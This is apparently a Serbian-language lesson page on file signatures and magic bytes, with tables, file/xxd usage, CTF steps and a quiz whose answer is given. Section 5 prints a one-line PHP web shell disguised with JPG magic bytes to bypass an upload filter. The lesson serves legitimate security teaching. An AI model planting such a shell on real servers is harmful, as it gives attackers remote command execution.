File Signatures i Magic Bytes
1️⃣ Šta su file signatures?
Svaki fajl na disku počinje posebnim nizom bajtova koji definiše njegov pravi tip — bez obzira na ekstenziju. Ti bajtovi se zovu magic bytes ili file signature.
Ekstenzija (.jpg, .pdf, .exe) je samo deo imena fajla i može se trivijalno
promeniti. Magic bytes su upisani unutar samog fajla i ne menjaju se preimenovanjem.
Zašto je ovo važno u sajber bezbednosti?
- ✔ napadač može preimenovati
virus.exeuslika.jpgda prevari filter ili antivirus - ✔ web aplikacije se mogu prevariti da prihvate maliciozni fajl sa
.jpgekstenzijom - ✔ u digitalnoj forenzici — verifikujemo da li je fajl zaista ono što tvrdi da jeste
- ✔ u CTF zadacima — fajlovi namerno imaju pogrešnu ekstenziju
2️⃣ Primeri magic bytes
| Format | Magic bytes (hex) | ASCII prikaz |
|---|---|---|
| JPG | FF D8 FF |
ÿØÿ |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
‰PNG.... |
25 50 44 46 |
%PDF |
|
| ZIP | 50 4B 03 04 |
PK.. |
| EXE | 4D 5A |
MZ |
| GIF | 47 49 46 38 |
GIF8 |
| MP3 | 49 44 33 |
ID3 |
| 7ZIP | 37 7A BC AF 27 1C |
7z¼¯'. |
💡 ZIP i JAR fajlovi dele iste magic bytes (
PK) jer JAR je ZIP arhiva sa Java klasama.
3️⃣ Alat file
Komanda file čita magic bytes i vraća pravi tip fajla.
file dokument.pdf
dokument.pdf: PDF document, version 1.4
Otkrivanje pogrešne ekstenzije
file slika.jpg
slika.jpg: PHP script, ASCII text
Svi fajlovi u direktorijumu
file *
4️⃣ Hex editor
Hex editor prikazuje sirove bajtove fajla u heksadecimalnom zapisu. Prvih nekoliko bajtova su upravo magic bytes.
Alati
| Alat | Platforma | Opis |
|---|---|---|
| xxd | Linux terminal | Brz hex dump |
| hexedit | Linux terminal | Interaktivni hex editor |
| HxD | Windows | Grafički hex editor |
| hexed.it | Online | hexed.it |
Prikaz prvih bajtova
xxd slika.jpg | head -3
00000000: ffd8 ffe0 0010 4a46 4946 0001 0100 0001 ......JFIF......
00000001: 0001 0000 ffdb 0043 0008 0606 0706 0504 .......C........
FF D8 FF na početku — potvrđuje da je fajl JPG.
5️⃣ Realna primena — web upload bypass 🌐
Web aplikacije koje prihvataju upload fajlova često proveravaju samo ekstenziju.
Napadač to može iskoristiti tako što uploaduje PHP shell sa .jpg ekstenzijom:
echo -e '\xff\xd8\xff\xe0<?php system($_GET["cmd"]); ?>' > shell.jpg
Fajl počinje sa JPG magic bytes — prolazi osnovnu proveru. Ali unutra je PHP kod koji se izvršava na serveru čim se fajl „prikaže".
Bezbedne aplikacije proveravaju ceo sadržaj fajla, ne samo ekstenziju ili prve bajtove.
6️⃣ File signatures u CTF zadacima 🕵️
Korak 1 — file komanda
file sumnjivi_fajl.jpg
Korak 2 — Ručna provera magic bytes
xxd sumnjivi_fajl.jpg | head -2
Korak 3 — Promeni ekstenziju i raspakuj ako je arhiva
mv sumnjivi_fajl.jpg sumnjivi_fajl.zip
unzip sumnjivi_fajl.zip
Korak 4 — Referenca za poznate potpise
Gary Kessler's File Signatures Table
Zadatak
Istraži koji potpis fajla (magic bytes) imaju Java .class fajlovi i unesi odgovor.
Rešenje
0xCAFEBABEHint
Korisna referenca: Gary Kessler's File Signatures Table
📝 Provera znanja
U terminalu se nalaze tri fajla: slika1.jpg, slika2.jpg i slika3.jpg.
Jedan od njih nije pravi JPG — otkrij koji!
Napiši odgovor: slika?.jpg
Pomoć
> Koristi komandu `file` na svakom fajlu:📝 Provera Znanja
Unesite svoj odgovor ispod da biste proverili da li ste razumeli lekciju:
💻 Terminal Simulator
Ova lekcija uključuje interaktivni terminal simulator za praktičnu vežbu:
Simulirani terminal sa komandama specifičnim za ovu lekciju.